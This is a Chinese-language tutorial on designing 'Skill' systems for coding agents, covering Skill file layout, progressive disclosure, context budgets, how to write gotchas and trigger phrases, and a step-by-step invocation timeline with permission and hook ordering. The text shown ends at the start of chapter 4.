Agent Skills 从零到一:从「录一次」到「每次都照着做」
这是一份快照
本文的数字、常量、行数取自 2026-08-31 对 sid-code 源码的一次实读。 代码在动,这些数字会腐坏——引用其中任何一个之前,请按文中给出的命令在你自己的仓库里复跑一次。
这份文档是干什么的
我之前写过三份 Skill 研究文档(
Skill 系统与上下文工程/Skill 工程实践与可靠性/Skill 治理与规模化,合计约 27 万字符)。它们是给已经懂的人看的:满篇file:line、直接摆源码、术语不解释,第一次读会在第三段就卡住。这一份反过来:假设你完全没接触过 Skill,从"为什么需要它"开始, 一层层往上搭,直到能回答"给你一个 coding agent,你怎么设计整套 Skill 系统"这类面试题。
它不是那三份的摘要。 摘要会把结论抽出来变成一句正确但没用的话 (比如"Skill 要遵循渐进式披露")。本文的写法相反:每个结论都从「为什么会有人搞错」讲起, 因为面试里能拉开差距的从来不是结论本身,是你能不能说清它的反面为什么诱人。
一条贯穿全文的主线:录制 → 回放
这份文档只有一个核心隐喻,请先记住它,后面 17 章都挂在它上面:
Skill 就是把一次「做对了的过程」录下来,让以后每一次都能照着回放。
| 录制(Record) | 回放(Replay) | |
|---|---|---|
| 什么时候发生 | 你和 agent 一起把一件事做成了 | 下次遇到同类任务 |
| 产物 | 一个文件夹 + 一份 SKILL.md | agent 按录下来的流程执行 |
| 谁负责 | 人(或第 11 章的自演化:agent 提议 + 人确认) | agent |
| 会出什么问题 | 录得太啰嗦 / 录了废话 / 录漏了坑 | 找不到它、加载不进来、中途忘了 |
全文的重心在右边那一列。 因为"写一份文档教 agent 干活"这件事听起来毫无难度—— 真正难的是:50 个 Skill 里 agent 怎么知道该用哪个?加载进来占多少上下文? 会话跑长了压缩一次,它还记得自己在遵循哪个流程吗?
这三个问题就是 Skill 工程的全部内容,也是本文第 4-6 章。
怎么读这份文档
按顺序读。这是一条链,不是清单——后面每章都在用前面建立的概念。
| 章 | 主题 | 读完你能回答 |
|---|---|---|
| §0 | 从一个场景讲起 | 为什么 prompt 不够、为什么需要 Skill 这层东西 |
| §1 | 基础概念 | Skill 是什么、由几部分组成、和 prompt/RAG/MCP 的边界 |
| §2 | 录制:把过程变成资产 | 拿到一个流程,你知道该录什么、不该录什么 |
| §3 | 回放:一次调用的完整时间线 | 能画出从"用户说话"到"Skill 生效"的每一步 |
| §5 | 预算与降级 | "Skill 装多了怎么办"——这是最容易被追问穿的一题 |
| §6 | 压缩存活 | 本文最值钱的一章:Skill 会在长会话里静默失效 |
| §7 | 注入位置与 Prompt Cache | 为什么"放哪"比"放什么"更重要 |
| §8 | inline vs fork | 什么时候该把 Skill 隔离到子 agent |
| §9 | Hooks:作用域的真相 | 一个公开文档全都写错的地方 |
| §10 | 权限与安全 | 一个 Markdown 文件凭什么不能给自己提权 |
| §11 | 自演化:让录制自动化 | 已经在生产里跑了,不是前沿趋势 |
| §12 | 治理与规模化 | 分层、优先级、企业管控、淘汰 |
| §13 | 怎么写一个好 Skill | 可直接照抄的写作规范 |
| §14 | 度量:怎么证明它有效 | ground truth 从哪来 |
| §17 | 术语表与学习路径 | 速查 |
| 附录 A | 可复跑命令 | 在 sid-code 仓库里自己验一遍 |
如果只有 20 分钟:读 §4、§5、§6。这三章是这个领域的骨架,其余都是它们的展开。
如果只有 5 分钟:读 §6。它讲的那个失效模式(Skill 在压缩后静默消失, agent 开始自由发挥但看起来还像在遵循流程)是整个主题里唯一"不知道就一定会踩"的坑。
两条免责声明(很重要)
第一条:数字会漂移。 文中所有具体数字(1% 预算、250 字符、5000 Token) 都是某个版本的源码里读到的,不是行业标准。同一个机制在 Claude Code 的不同版本里 数字就不一样(§5.6 有一个实测对照)。引用它们是为了让你看见"真实系统的量级长什么样", 面试时说量级、不说精确值。
第二条:本文交叉两个来源,且会明确标注。 全文出现的事实分两类:
| 标记 | 含义 | 可信度 |
|---|---|---|
| 【CC】 | 来自 Claude Code 源码(经我此前三份研究文档实测) | 高,但版本可能已变 |
| 【sid】 | 来自 sid-code 本仓源码,本次现场核验过 | 高,附录 A 可复跑 |
会这么做是因为:这两套实现有真实的分歧,而分歧点恰好是最好的教学材料—— 它让你看到"同一个问题有两种解法,各自的代价是什么"。§6.5 和 §10.4 各有一处。
第 0 章 · 从一个场景讲起:为什么 prompt 不够
0.1 一个真实的一天
你在一个团队里用 coding agent 干活。周一,你让它发一个版本:
你:帮我发个版本。
它开始干活,然后你发现它做错了三件事:它先改了版本号再跑测试(你们的规矩是反的)、 它直接推了 main(你们的 main 是受保护的,必须走 PR)、它忘了重新生成官网的参考页 (你们有个脚本,改了源码不跑它文档就骗人)。
你逐条纠正,它逐条改对。最后版本发出去了,过程正确。一个小时的对话, 产出了一个正确的流程。
周三,你又要发版本。你说"帮我发个版本"。
它把三件事又做错了一遍。
0.2 你会想到的三个办法,以及它们各自的死法
这时候几乎所有人都会想到同样的三个办法。它们都能用,但都有一个明确的破点—— 理解这三个破点,就理解了 Skill 为什么必须是它现在这个样子。
办法一:每次把流程粘贴到对话里。
你:帮我发个版本。流程是:1. 先跑测试 2. 再改版本号 3. 不要直推 main,开 PR
4. 跑 docs:gen-reference 5. ...(20 行)能用。破点是你得记得粘,而且每次都要粘。更糟的是团队里其他五个人不知道 这 20 行存在,他们各自踩各自的坑。这个办法把知识锁在了你的剪贴板里。
办法二:全部写进全局配置(CLAUDE.md / 系统提示词)。
这是最自然的升级:既然要每次都生效,就写进那个"每次都会被读到"的文件。
能用,而且解决了"记得粘"的问题。破点在于它是无条件常驻的:
发版流程 20 行、代码审查流程 30 行、事故复盘流程 40 行、数据库迁移流程 25 行…… 半年后这个文件 2000 行。而你现在只是想改个错别字,agent 却要在做这件事之前 先读完 2000 行里的全部四十个流程。
这里有两个后果,第二个比第一个严重得多:
| 后果 | 严重度 | 说明 |
|---|---|---|
| 费钱费时 | 中 | 每轮都为 2000 行付费。可以靠缓存缓解(§7) |
| 稀释注意力 | 高 | 40 个流程同时在场,模型分不清此刻该遵循哪个 |
第二个后果有实测支撑:同时激活 2-3 个流程时效果最好(+18.6pp), 4 个以上收益掉到 +5.9pp,而"面面俱到"的大文档反而是 -2.9pp——比什么都不给更差。
这条数据是整个 Skill 领域的地基。 记住它:给得越多不等于做得越好, 过了拐点是负收益。
办法三:给每个流程写一个工具(function calling)。
也能用。破点是工具定义是常驻的且不可省略——40 个工具的 JSON Schema 全部塞进 每一轮请求,比办法二更贵,而且工具太多时模型选错工具的概率显著上升。
0.3 于是需要的东西,形状已经被这三个破点确定了
把三个破点倒过来写,就是需求清单:
| 破点 | 反推出的要求 |
|---|---|
| 办法一:知识锁在个人手里 | 要能存成文件,能进 git,能被团队共享 |
| 办法二:无条件常驻、稀释注意力 | 平时不占地方,用到时才完整加载 |
| 办法三:常驻成本随数量线性涨 | 数量增长时成本不能线性涨 |
满足这三条的东西就叫 Skill。它的定义可以一句话讲完:
Skill = 一个文件夹,里面有一份告诉 agent「什么时候用我」和「怎么做这件事」的 Markdown,以及可选的脚本和参考资料。平时只有「什么时候用我」那一行在上下文里, 被选中时才加载全文。
那个"平时只有一行、选中才全文"的机制叫 渐进式披露(Progressive Disclosure), 是第 4 章的主题,也是整个 Skill 系统里唯一真正的核心机制。
0.4 回到录制/回放:现在这个隐喻能讲清楚了
周一那个小时里发生的是录制:你和 agent 一起摸索出了正确流程,纠正了三次。
周三失败的原因是没有回放:那次录制的产物只存在于周一的对话历史里, 而对话历史不会跨会话,也不会跨人。
Skill 就是把周一的产物固化下来,让周三、以及团队里其他五个人的每一次, 都是一次回放。
一个提前说明的重点:录制这件事,只有第 2 章和第 13 章讲,而且不难。 剩下 15 章全在讲回放,因为回放才是工程问题:
录制(易) 回放(难)
↓ ↓
写一个 50 个里怎么挑出对的一个? → §4
Markdown 挑出来了,加载它占多少上下文? → §5
文件夹 会话跑长压缩了,它还在吗? → §6 ★
它该注入到上下文的哪个位置? → §7
它该污染主对话还是隔离到子 agent? → §8
它带的强制约束什么时候失效? → §9
它凭什么不能给自己提权? → §100.5 本章自检
读完这章,你应该能回答:
- 为什么"把流程写进全局配置"这个自然做法会失败?(两个后果,哪个更严重)
- "2-3 个最优、4+ 个收益骤降、面面俱到是负收益"这条数据说明了什么?
- Skill 的定义里,哪一部分是常驻的,哪一部分是按需的?
- 为什么说 Skill 的难点在回放而不在录制?
第 1 章 · 基础概念:Skill 到底由什么组成
这一章是查询表,不用背。往后每章第一次用到某个词时都会重新解释一遍, 放一份集中的是为了你回读那三份研究文档时能随时来查。
1.1 一个 Skill 的物理形态
先看最小的那个。一个 Skill 就是磁盘上的一个文件夹:
.sid-code/skills/release-version/ ← 文件夹名就是 Skill 名
└── SKILL.md ← 唯一必需的文件SKILL.md 分两段,用 --- 隔开:
---
name: release-version
description: 发布一个新版本到 beta 通道
whenToUse: 当用户要发版本、上线、release 时使用。例如"发个版本"、"上线"、"release"
---
# 发版流程
## 1. 先跑测试,再改版本号
⚠️ 顺序不能反:版本号改了但测试挂了,就有一个"已 bump 未验证"的提交。
## 2. 不要直推 main
main 受保护(ruleset `protect-main`),直推会被 GH013 拒绝。必须开 PR。
## 3. 改了源码要重新生成参考页
跑 `bun run docs:gen-reference`,否则文档会骗人。- 上半段(
---之间)叫 frontmatter,是元数据——写给系统看的。 - 下半段叫 body,是指令正文——写给模型看的。
这个区分在第 10 章会变得很重要:frontmatter 里有权限字段, 所以它是「提权面」,不能让模型自己改。
1.2 完整形态:为什么是文件夹而不是单个文件
复杂一点的 Skill 长这样(这是 sid-code 里 security-audit 的真实结构):
security-audit/
├── SKILL.md ← 元数据 + 流程指令
├── scripts/
│ ├── detect-vulnerabilities.ts ← 335 行,可执行
│ └── cve-lookup.ts ← 205 行
├── references/
│ └── owasp-top10.md ← 参考资料,按需读取
└── evals/
└── case_sa_001.yaml ← 这个 Skill 自己的测试用例面试常考:"Skill 为什么是文件夹而不是单个 Markdown 文件?"
标准答案是"文件夹即能力边界",但这句话太抽象。真正的理由是成本分层:
| 部分 | 什么时候进上下文 | 成本 |
|---|---|---|
| frontmatter 的 description | 一直在(常驻) | 每个 Skill 几十 Token |
| SKILL.md 的 body | 被选中时 | 几百到几千 Token |
references/ 里的文档 | 模型主动读时 | 按需 |
scripts/ 里的脚本 | 执行它 | 只有输出进上下文,代码本身不进 |
最后一行是关键,也是最容易被忽略的一条:
脚本是唯一一种「能力无限但成本恒定」的部分。 一个 335 行的漏洞检测脚本,如果写成 Markdown 指令让模型照着做, 要花几千 Token 而且模型会做错;写成脚本,成本只有它
stdout的几行输出。
所以"文件夹"这个形态的真实含义是:它让一个 Skill 可以同时包含 「贵但灵活的自然语言」和「便宜且确定的代码」,并且各自只在需要时付费。
单个 Markdown 文件做不到这件事——你没法在里面放一个可执行文件。
1.3 词汇表:读那三份文档时会遇到的词
按"一次 Skill 调用从头到尾"的顺序排,不按字母序,因为这些词之间有位置关系。
存储与来源
| 词 | 中文 | 是什么 |
|---|---|---|
| bundled | 编译内置 | 随二进制发布,写死在代码里。【sid】12 个 |
| builtin | 目录内置 | 也是官方的,但以文件夹形式存在。【sid】8 个 |
| user | 用户级 | ~/.sid-code/skills/,你个人的,跨所有项目生效 |
| project | 项目级 | {项目}/.sid-code/skills/,在 git 里(这点第 11 章至关重要) |
| plugin | 插件 | 装的第三方插件带来的 |
| mcp | 远程 | MCP 服务器提供的,不可信来源(第 10 章) |
| managed | 企业下发 | 公司管理员强制推的,优先级最高(第 12 章) |
发现与加载
| 词 | 中文 | 是什么 |
|---|---|---|
| listing | 摘要列表 | 那份"我有哪些能力"的清单,常驻上下文。第 5 章的主角 |
| Progressive Disclosure | 渐进式披露 | 分级加载机制。第 4 章的主角 |
conditional / paths: | 条件激活 | 匹配到指定文件才出现在列表里。零成本,第 4 章 |
disableModelInvocation | 禁止自动调用 | 完全不进列表,只能手打 /name。唯一让成本归零的开关 |
| frecency | 频率×新近度 | 一个排序算法(frequency + recency)。第 12 章有个反直觉结论 |
执行
| 词 | 中文 | 是什么 |
|---|---|---|
| inline / activate | 注入当前对话 | 指令进主上下文,持续影响后续每一轮 |
| fork / delegate | 子代理执行 | 隔离跑,只把结果返回。第 8 章讲怎么选 |
allowedTools | 允许的工具 | 声明它会触发审批,不是自动获得(第 10 章) |
| hooks | 生命周期钩子 | Skill 能注册的强制性拦截点。第 9 章 |
存活与演化
| 词 | 中文 | 是什么 |
|---|---|---|
| compaction | 上下文压缩 | 会话太长时把历史摘要掉。Skill 的头号杀手,第 6 章 |
| invokedSkills | 已调用记录 | 记着"这次会话用过哪些 Skill",压缩后靠它复活 |
| 自演化 | self-evolution | agent 提议改 SKILL.md、人确认。第 11 章,已在生产 |
1.4 边界:Skill 不是什么
这一节是面试高频题的集中区,因为这四个东西表面上都在做"给模型补充信息"。
1.4.1 Skill vs Prompt
最容易混的一对,因为 Skill 的 body 就是一段 prompt。区别在生命周期和寻址方式:
| prompt | Skill | |
|---|---|---|
| 存在形式 | 一次对话里的一段话 | 磁盘上的文件,有名字 |
| 谁能用 | 只有此刻这个会话 | 所有人、所有会话 |
| 怎么被找到 | 你手打进去 | 模型按 description 自己判断要不要用 |
| 能否进版本控制 | 不能 | 能(这一条派生出第 11 章的全部安全模型) |
一句话:Skill 是「有名字、能被寻址、能被版本控制」的 prompt。
1.4.2 Skill vs RAG
这题面试问得非常多,而且很多人答错。
表面上都是"按需注入上下文",但检索粒度和内容性质完全不同:
| RAG | Skill | |
|---|---|---|
| 索引单位 | 文档切片(chunk) | 一个完整能力 |
| 检索方式 | 向量相似度,取 top-k 片段 | 模型读描述做判断,取整个 Skill |
| 内容性质 | 事实("配置项 X 的默认值是 3") | 流程约束("先做 A 再做 B,别做 C") |
| 拿到一半会怎样 | 还能用(半篇文档仍有信息) | 可能更危险(只知道前三步就动手) |
最后一行是本质区别,值得展开:
RAG 的内容是可分割的——检索到一篇文档的第 3 段,这段自己就有意义。 Skill 的内容是不可分割的——一个流程的第 3 步脱离前后文没有意义, 而"只拿到前三步就开始执行"比"什么都没拿到"更糟,因为前者会真的动手。
所以 Skill 不能用 RAG 那套"切片 + top-k"做,必须整体加载。 这也解释了为什么 Skill 需要预算和降级机制(第 5 章)而 RAG 不需要—— RAG 超预算就少给几个切片,Skill 超预算不能"少给几步"。
那 Skill 的 references/ 目录和 RAG 知识库有什么区别?没有本质区别, 那一层就是个轻量 RAG。 区别在于它的检索是模型显式 read 一个已知路径, 不是向量检索——因为路径是 SKILL.md 里写明的,不需要猜。
1.4.3 Skill vs MCP / 工具
| 工具 / MCP | Skill | |
|---|---|---|
| 本质 | 一段代码,模型传参调用 | 一段指令,模型读了照着做 |
| 常驻成本 | 工具定义(JSON Schema)不可省 | 只有一行描述,且有预算封顶 |
| 能做的事 | 确定的、可验证的单步动作 | 多步流程、判断、"我们这儿的规矩" |
| 失败形态 | 报错(可见) | 静默偏离(第 6 章,不可见) |
判据一句话:能写成确定性代码的,写成工具;只能用自然语言表达的判断和流程,写成 Skill。
一个 Skill 里可以调用工具,反过来不行。所以两者是层级关系不是竞争关系: Skill 是编排层,工具是执行层。
1.5 一张全景图
把第 1 章的所有概念放到一张图上,这也是全文的地图:
┌──── 磁盘上的 Skill 文件夹 ────┐
│ bundled/builtin/user/project │
│ /plugin/mcp/managed(7 种来源)│
└──────────────┬────────────────┘
▼
[加载] 扫目录 → 解析 frontmatter → 去重 → 分离条件 Skill §4/§12
│
▼
[发现] 生成 listing → 按 1% 预算裁剪 → 三级降级 §5 ★
│
▼
[注入] 放进上下文的哪个位置?(这个选择由 Prompt Cache 决定) §7 ★
│
▼ 模型读描述,决定调用
[鉴权] 检查 frontmatter 里有没有敏感属性 → allow/ask/deny §10
│
├→ inline:注入主对话,持续生效 §8
└→ fork:子代理跑,只回结果 §8
│
├→ 注册 hooks(强制性约束) §9
└→ 记进 invokedSkills §6
│
▼ 会话变长,触发压缩
[存活] 摘要之外把 Skill 原文重新注入 ← 不做这步就静默失效 §6 ★★
│
▼ 用户反复纠正同一件事
[演化] 小模型检测 → 人确认 → 改写 SKILL.md(回到"录制") §11三个 ★ 是本文重心。注意最后一步的箭头指回了"录制"—— 这个环闭合的时候,Skill 系统就从静态资产变成了自我改进的系统。
1.6 本章自检
- frontmatter 和 body 的区别是什么?为什么这个区分和安全有关?
- Skill 的四个组成部分里,哪一个是"能力无限但成本恒定"的?为什么?
- 为什么 Skill 不能像 RAG 那样切片检索?(提示:拿到一半会怎样)
- 工具和 Skill 的判据是什么?它们是竞争关系还是层级关系?
第 2 章 · 录制:把一次成功的过程变成资产
这一章讲隐喻的左半边。它比回放简单,但有几个反直觉的地方—— 最有价值的录制内容,不是你以为的那些。
2.1 录什么:一条判据
回到第 0 章那个场景。周一那一小时里,对话里有几百句话。录哪些?
先说结论,这条判据是本章的核心:
录「模型自己想不到的」,不录「模型本来就会的」。
对照第 0 章的例子:
| 周一发生的事 | 录不录 | 为什么 |
|---|---|---|
| "跑一下测试" | ❌ 不录 | 模型本来就知道发版前要测 |
| "测试要在改版本号之前跑" | ✅ 录 | 顺序反了会留下"已 bump 未验证"的提交——模型想不到 |
| "开个 PR" | ❌ 不录 | 通用常识 |
| "main 有 ruleset 保护,直推会被 GH013 拒" | ✅ 录 | 这是你们仓库的事实,模型无法推断 |
| "改了源码要跑 docs:gen-reference" | ✅ 录 | 这是你们的特殊耦合关系 |
| "我先去喝杯咖啡" | ❌ 不录 | 噪音 |
看出规律了吗?值得录的三条全都是「坑」,不是「步骤」。
这条规律有个名字叫 Gotchas 优先,而它有个很硬的量化依据: 前面提到"面面俱到的大文档是 -2.9pp"——比不给更差。原因就在这里: 一份写满通用步骤的 SKILL.md,其中 90% 的内容模型本来就会, 这 90% 唯一的作用是稀释掉那 10% 它真正需要知道的东西。
2.2 一个可操作的录制清单
拿到一次成功的过程,按顺序问自己这六个问题:
① 有没有哪一步的顺序是反直觉的? → 录下顺序,并写明"反了会怎样"。
② 有没有哪一步我纠正过 agent? → 纠正点是最高价值信号(第 11 章的自演化专门盯这个)。
③ 有没有哪一步依赖只有我们知道的事实? → 内部系统名、受保护的分支、某个脚本必须先跑、某个 API 有配额。
④ 每一步做完,怎么知道它真的成了? → 这条最容易漏,见下面 2.3。
⑤ 有没有哪一步不可逆,做错了救不回来? → 标记为需要人确认(human checkpoint)。
⑥ 有没有哪一步能用代码代替自然语言? → 写成 scripts/,成本从几千 Token 降到几行输出(§1.2)。
2.3 ★ 每一步必须有「成功判据」
这条来自 Claude Code 官方那份"教你写 Skill 的 Skill"(skillify)里的一条硬性要求 【CC】。它把这一项定成了每一步的必填字段,模板里写着 ALWAYS include this!。
它给的例子极具启发性:
不是 "writing code",而是 "an open PR with CI fully passing"。
这两者的差别在于可验证性:
| 写法 | 模型怎么判断"这步做完了" |
|---|---|
| "写代码" | 不知道。写到什么程度算完?它会自己猜,然后过早进入下一步 |
| "一个已开的 PR 且 CI 全绿" | 去查 PR 状态、查 CI 状态。有客观信号 |
为什么这是"必填字段"而不是"写作建议"? 这里有一条可迁移的元原则, 值得单独记住:
把原则变成结构约束,否则它落不了地。 "你应该写得可验证"是个建议,没人遵守也查不出来; "这一栏空着"是可以被 lint 拦下的。结构缺失可以被检查,"写得不够好"不能。
这条原则在第 13 章会再用一次,也是面试里一个很好的加分点。
2.4 触发条件怎么写:给样例,不给定义
frontmatter 里的 whenToUse(或 description)决定了模型什么时候会想起这个 Skill。 它是整个 Skill 里唯一常驻上下文的部分,所以每个字都很贵(第 5 章会算这笔钱)。
官方规范的要求是【CC】:列触发短语,而不是描述场景。
# ❌ 描述场景(模糊,且长)
whenToUse: 这个 Skill 用于处理需要将某个 PR 的改动应用到发布分支的场景,
通常发生在需要紧急修复线上问题时。
# ✅ 列触发短语(精确,且短)
whenToUse: 当用户要把 PR 挑到发布分支时使用。例如"cherry-pick 到 release"、
"CP 这个 PR"、"hotfix"。理由:触发是一个匹配问题,匹配问题给样例比给定义有效。 三个具体短语比一段场景描述更能锚定边界,而且更短。
这里有一个非常反直觉的实测结论,来自 Claude Code 源码注释【CC】:
描述写长了不会提高触发准确率(
without improving match rate)。
所以 whenToUse 的优化方向是更精确,不是更完整。 这两个词在动手时完全不同:前者是删掉歧义,后者是补充细节。 很多人(包括我写那三份文档之前)会下意识以为"写得更详细 = 触发更准", 源码明确否定了这一点。
2.5 录制的成本不对称:写一次,付一辈子
有一句话我认为是整个 Skill 主题里最精准的一句表述,来自一位做过 A/B 实测的作者【CC】:
A skill author who writes a paragraph where a sentence would do is spending your context, in every session, forever.
(一个本该写一句话却写了一段的 Skill 作者,是在花你的上下文——每一个会话,永远。)
"in every session, forever"这个措辞比"浪费 Token"精确得多, 面试里可以直接用。它点出了 Skill 描述的成本性质:
| 成本类型 | 例子 | 性质 |
|---|---|---|
| 一次性 | 你写这个 Skill 花的半小时 | 付一次 |
| 永续 | 描述里多写的那 100 个字符 | 每个会话、每一轮、所有人 |
这个不对称决定了录制阶段的取舍:在写作上多花十倍时间去压缩描述是划算的, 因为你压缩掉的那部分会在此后每一个会话里持续省钱。
2.6 「别把简单的搞复杂」:规范要声明自己的边界
前面讲了六个问题、必填的成功判据、触发短语规范——听起来一个 Skill 要写很多东西。
官方规范里有一条元规则专门防这个【CC】:
Keep simple skills simple -- a 2-step skill doesn't need annotations on every step(保持简单 Skill 的简单——一个两步的 Skill 不需要给每步都加注解。)
这条值得单独指出,因为它是「规范自己声明自己的适用边界」。 没有它,一个两步的 Skill 会被格式要求撑成 200 行,而那 200 行全是低信号内容—— 规范本身就成了它要消灭的那个问题(面面俱到 = -2.9pp)。
我在写那三份文档时没有这个视角:我只讲了"删掉低信号内容", 没讲"规范要说明什么时候不用遵守规范"。这是一个很好的面试素材, 因为它展示的是对"规范会被滥用"这件事的预判。
2.7 一个反直觉的观察:真实的 Gotcha 长什么样
我在 Claude Code 的内置代码审查 Skill 里读到过这样一条【CC】:
Recurring no-op updates: 轮询循环 / 定时器 / 事件处理器里的无条件状态更新—— 加一个变更检测守卫,避免下游消费者在什么都没变时被通知。 另外:如果一个包装函数接受 updater 回调,验证它是否尊重"同引用返回" (或者别的"无变化"信号)——否则调用方的 early-return 空操作会被静默击败。
这条长得不像"最佳实践",像一条从具体 bug 里长出来的教训。 "包装函数是否尊重同引用返回"极其特定——只有真的被这个 bug 咬过才会写进清单。 而且它写明了失败模式("调用方的空操作被静默击败")。
这就是 Gotcha 积累的真实形态:不是"我预测模型可能犯什么错", 而是"上次这里出过事,写下来"。
更有意思的是:我在那个项目的源码注释里找到了指向同一个历史事件的注释。 也就是说——踩过的坑同时写进了代码注释和审查 Skill。 Feedback Flywheel(反馈飞轮)不是一张流程图,就是这么一件朴素的事。
2.8 本章自检
- 录制的核心判据是什么?为什么"通用步骤"反而有害?
- "成功判据必填"为什么是结构约束而不是写作建议?这条元原则怎么迁移到别处?
whenToUse该给样例还是给定义?写长了会提高触发率吗?- 为什么说 Skill 描述的成本是"永续"的?这对录制取舍有什么影响?
- 一条真实的 Gotcha 和一条"最佳实践",从文字上怎么分辨?
第 3 章 · 回放:一次调用的完整时间线
这一章把"回放"拆成十步。能把这条时间线画出来,就已经超过大部分只读过文档的人—— 因为文档通常只讲"模型读描述、决定调用、执行",中间省掉了七步。
本章的时间线以 sid-code 的真实实现为准【sid】,我逐行核过源码, 关键步骤都给了 file:line。
3.1 十步时间线
用户:「帮我发个版本」
│
① 会话启动前:扫盘加载所有 Skill loader.ts
│ ↓ 有 paths: 的被扣下,不进列表 conditional.ts:29
│
② 生成 listing("我有哪些能力"清单) listing.ts:29
│ ↓ 按 1% 上下文预算裁剪,三级降级 budget.ts:63
│
③ 注入 system prompt(sid 的选择) system-prompt.ts:514
│
▼ ——— 以上每次会话只做一遍,以下是模型的动作 ———
│
④ 模型读 listing,判断「发版本」匹配 release-version
│ ↓ 调用 skill 工具,参数 skill=release-version
│
⑤ 条件门检查:这个 Skill 是不是还没被激活的条件 Skill? meta-tool.ts:201
│ ↓ 是 → 直接报错返回,不执行
│
⑥ 权限判定:frontmatter 里有敏感属性吗? meta-tool.ts:210
│ ↓ deny → 拒绝 / ask → 弹确认 / allow → 继续
│
⑦ 注册 hooks(★ 必须在权限之后) meta-tool.ts:228
│
⑧ 分流执行:
│ ├─ activate/inline → 指令注入当前对话 meta-tool.ts:249
│ │ ↓ 同时记进 invokedSkills meta-tool.ts:269
│ └─ delegate/fork → 子代理执行,只回结果 meta-tool.ts:278
│
⑨ finally:delegate 的 hooks 卸载 meta-tool.ts:238
│
▼ ——— 会话继续,越来越长 ———
│
⑩ 触发压缩 → 摘要之外把 invokedSkills 原文重注入 manager.ts:2037
↑ 不做这步,⑧ 注入的流程指令就没了(§6)3.2 三个「顺序不能反」的地方
时间线里有三处顺序是有代价的踩坑换来的,面试里说出任意一处都是强信号。
★ 第一处:权限判定必须早于 hooks 注册(⑥ → ⑦)
sid-code 在源码注释里把这条写成了"铁律"【sid】:
顺序铁律:先权限判定,通过后再注册 hooks + 执行。
避免被 deny 的 skill 已经注册了 hooks 污染后续工具调用。
— packages/core/src/skill/executor.ts:13为什么反了会出事:hooks 是 Skill 能注册的强制拦截器(第 9 章)。 如果先注册 hooks 再判权限,那么一个被拒绝执行的 Skill, 它的拦截器已经装上了——而且因为 Skill 本身没跑,没人会想到去卸载它。
结果是:一个你明确拒绝的 Skill,仍然在拦截你后续所有的工具调用。 "拒绝"变成了"半执行",而且是最危险的那半。
这条的可迁移形态:任何"申请 + 副作用"的流程,副作用必须在审批之后。 听起来是常识,但代码里很容易写反——因为注册 hooks 的代码和执行 Skill 的代码 在同一个函数里,而权限检查往往是后来补上的,补的时候容易图方便放在后面。
第二处:条件门必须早于权限(⑤ → ⑥)
条件 Skill(paths:)在未激活时压根不该被调用。sid-code 把这个检查放在权限之前, 并且返回一条会教模型怎么做对的错误消息【sid】:
错误:Skill "x" 是条件激活 skill,尚未触发(需先接触匹配 src/**.ts 的文件),
当前不可调用。 — meta-tool.ts:203注意这条消息的写法:它不只说"不行",还说了**"需先接触匹配 X 的文件"**。 这是一个很好的细节——错误消息是给模型看的,它应该包含足够的信息让模型自己纠正, 而不是只表达拒绝。一条"权限不足"的错误会让模型反复重试, 一条"你需要先做 X"的错误会让它转向正确做法。
第三处:上报 invokedSkills 必须在 activate 分支,且上报实际注入的内容
这个细节很容易写错,sid-code 的注释解释得很清楚【sid】:
上报的是实际进入上下文的完整内容(含 Base directory 头部与资源清单),
而非裸 skill.prompt —— 压缩后重注入的必须与模型当初看到的一致。
delegate 分支不上报:那份 prompt 活在子代理上下文里,主对话压缩与它无关。
— meta-tool.ts:265-268两个判断都值得记:
- 上报"注入了什么"而不是"文件里写了什么"。二者有差异(多了目录头部和资源清单), 如果上报裸 prompt,压缩后模型看到的东西和它当初看到的不一样—— 资源路径丢了,它会开始猜路径。
- delegate 不上报。子代理的上下文和主对话是两个空间,主对话压缩与它无关。 上报了反而会把一段"已经死掉的"指令复活到主对话里。
3.3 一个必须理解的分叉:两条调用路径
上面的时间线是模型自己决定调用(④ 那一步)的路径。但 Skill 还有第二条入口: 用户手打 /release-version。
【sid】两条路径分别是:
| 模型路径 | 用户斜杠路径 | |
|---|---|---|
| 入口 | SkillMetaTool.execute | SkillCommand.execute |
| 谁发起 | 模型读 listing 后自主判断 | 用户显式打 /name |
| 默认执行模式 | delegate(子代理) | inline(注入主对话) |
这里有一个非常典型的工程陷阱,sid-code 的注释直接点了名【sid】:
背景:skill 有两条调用路径……P0-2(生命周期 hooks)、P0-3(权限判定)、
P1-1(effort/agent 透传)三项能力两条路径都要接。
若各写一份必然漂移,故抽到本模块统一。
— executor.ts:4-7"若各写一份必然漂移" 是这句话的重点。两条路径要接同样三件事(权限、hooks、参数透传), 如果各写一份,半年后必然出现"斜杠路径修了权限 bug,模型路径没修"这种状况—— 而且不会有人发现,因为两条路径的测试是分开的。
这类 bug 的形状值得记住:同一个语义有两个实现,且两者都能独立通过测试。 它是"绿着坏掉"的典型形态——所有测试都过,但两条路径的行为已经分叉了。
解法是把共享语义抽成一个模块,两条路径都调它。sid-code 抽出了三个函数 (authorizeSkill / registerSkillLifecycleHooks / buildDelegateTask), 两条路径共用。
3.4 为什么"发现"这一步这么难:算一下数
时间线第 ④ 步"模型读 listing 判断该用哪个",看起来只是一句话, 但它是整个系统里最难的一步。原因可以用一个数字讲清楚:
假设你装了 50 个 Skill。第 ④ 步要求模型在一份 50 行的清单里, 仅凭每行几十个字的描述,选出正确的那一个。这本质上是一个50 分类问题, 而分类依据是自然语言的语义相似度。
三个后果:
| 后果 | 说明 |
|---|---|
| 会选错 | 两个 Skill 描述相近时(code-review vs code-governance),模型会挑错 |
| 会漏选 | 描述里没有用户实际用的那个词,模型想不到它存在 |
| 会稀释 | 50 个选项同时在场,即使选对了,注意力也已经被分掉了(-2.9pp 那条数据) |
所以整个 Skill 工程的核心矛盾就在这里:
你希望装很多 Skill(能力多), 但装得越多第 ④ 步越不准(质量降), 而且常驻成本越高(成本涨)。
第 4、5 章讲的全部机制,都是在解这一个矛盾。 它们的手法可以提前总结成一句话:
能不交给模型判断的,就别交给模型判断(§4); 交给模型的那部分,给它设一个成本上限(§5)。
3.5 本章自检
- 为什么权限判定必须早于 hooks 注册?反了会出现什么现象?
- 为什么条件 Skill 的错误消息里要写"需先接触匹配 X 的文件"?
- 上报 invokedSkills 时,为什么要上报"实际注入的内容"而不是文件原文?
- 「同一个语义有两个实现且都能独立通过测试」这类 bug 为什么很难发现?
- 时间线第 ④ 步的本质是什么问题?它带来哪三个后果?
第 4 章 · 渐进式披露:为什么是四级不是三级
这是面试最高频的一道 Skill 题,而流传最广的那个答案是不完整的。 如果你只答三级,遇到读过源码的面试官会立刻露底;答四级并说清第 0 级的性质, 是这个主题里最容易拿到的加分。
4.1 先讲那个"标准答案"(三级)
